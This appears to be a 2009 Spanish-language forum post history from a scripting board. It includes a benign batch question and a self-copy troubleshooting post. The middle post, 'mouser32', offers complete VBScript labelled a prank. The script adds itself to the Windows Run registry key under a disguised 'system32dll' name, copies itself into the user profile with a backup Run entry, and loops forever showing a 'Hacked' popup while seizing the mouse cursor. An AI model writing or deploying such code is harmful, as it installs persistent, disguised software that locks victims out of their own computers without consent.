|
201
|
Programación / Scripting / {Resuelto} [Batch Help!] ayuda con conversion de caracteres..
|
en: 16 Septiembre 2009, 17:50 pm
|
set "variable=%variable:a=1%" set "variable=%variable:A=2%" Ok, mi problema es para diferenciar mayúsculas de minusculas. Hay alguna forma? Pense con un IF.. if ["%variable%"]==["a"] (set "variable=%variable:a=1%") if ["%variable%"]==["A"] (set "variable=%variable:A=2%")
Pero si el contenido de %variable% tiene mas de un caracter ya no serviría.. Ahora mismo se me ocurrio hacer algo con findstr pero nunca lo supe utilizar bien..
|
|
|
207
|
Programación / Scripting / [BromaVBS] mouser32 - by xassiz!
|
en: 15 Septiembre 2009, 22:00 pm
|
Bueno, gracias a NovLucker llegué a hacer una broma en vbs (que la probé con un amigo y realmente funciona XD XD XD).. aprendí bastante al hacer esto  -Se agrega al Run para iniciarse con el pc -Se autocopia -Agrega tambien al Run la copia por si se borra el original -Muestra un popup con un mensaje -Mueve el mouse cada medio segundo para diferentes sitios, de manera que no lo puedes utilizar xD -Comienza un bucle infinito, vuelve a mostrar el popup, vuelve a mover el mouse, etc. etc. etc.  'Mouser32 - by xassiz ''broma sobre el mouse
set registro = createobject("wscript.shell") registro.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32dll",wscript.scriptfullname,"REG_SZ" set autocopia = createobject("scripting.filesystemobject") set varentorno = createobject("wscript.shell") userprofile = varentorno.expandenvironmentstrings("%userprofile%") autocopia.copyfile wscript.scriptfullname, userprofile & "\mouser32.vbs", true set registro2 = createobject("wscript.shell") registro2.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32exe,"wscript.scriptfullname,"REG_SZ" do Set hacked=createobject("Wscript.shell") set broma=CreateObject("Excel.Application") mensaje=hacked.popup("Welcome to the hell.. the mouser32!!",1,"Hacked by xassiz!",16) mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")") wscript.sleep 500 mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""850"", ""1000"")") set broma=Nothing loop
Espero correcciones, criticas y mejoras  Graciaaas! 
|
|
|
210
|
Programación / Scripting / Re: [vbs] Problema con autocopiar
|
en: 15 Septiembre 2009, 16:40 pm
|
Ok, entendido [Edito]Copiador.vbs Set autocopia = createobject("scripting.filesystemobject") set varentorno = createobject("wscript.shell") userprofile = varentorno.expandenvironmentstrings("%userprofile%") autocopia.copyfile "wscript.scriptfullname", userprofile & "\copiado.vbs", true Error en la linea 4, el archivo no existe Como que no existe? Se supone que lo copio para que exista (...)
|
|
|
|
|
|
|